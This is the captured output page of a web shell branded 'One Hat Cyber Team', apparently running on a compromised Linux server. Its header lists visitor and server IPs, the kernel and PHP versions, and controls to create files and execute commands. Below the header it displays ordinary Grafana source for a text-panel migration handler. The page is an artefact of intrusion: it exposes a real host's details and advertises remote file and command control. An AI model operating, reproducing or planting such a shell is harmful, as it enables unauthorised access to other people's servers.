⚝
One Hat Cyber Team
⚝
Your IP:
216.73.217.4
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
grafana
/
public
/
app
/
plugins
/
panel
/
text
/
View File Name :
textPanelMigrationHandler.ts
import { PanelModel } from '@grafana/data'; import { TextMode, Options } from './panelcfg.gen'; export const textPanelMigrationHandler = (panel: PanelModel
): Partial
=> { const previousVersion = parseFloat(panel.pluginVersion || '6.1'); let options = panel.options; // Migrates old Angular based text panel props to new props if (panel.hasOwnProperty('content') && panel.hasOwnProperty('mode')) { const oldTextPanel: any = panel; const content = oldTextPanel.content; const mode: TextMode = oldTextPanel.mode; delete oldTextPanel.content; delete oldTextPanel.mode; if (previousVersion < 7.1) { options = { content, mode }; } } // The 'text' mode has been removed so we need to update any panels still using it to markdown const modes = [TextMode.Code, TextMode.HTML, TextMode.Markdown]; if (!modes.find((f) => f === options.mode)) { options = { ...options, mode: TextMode.Markdown }; } return options; };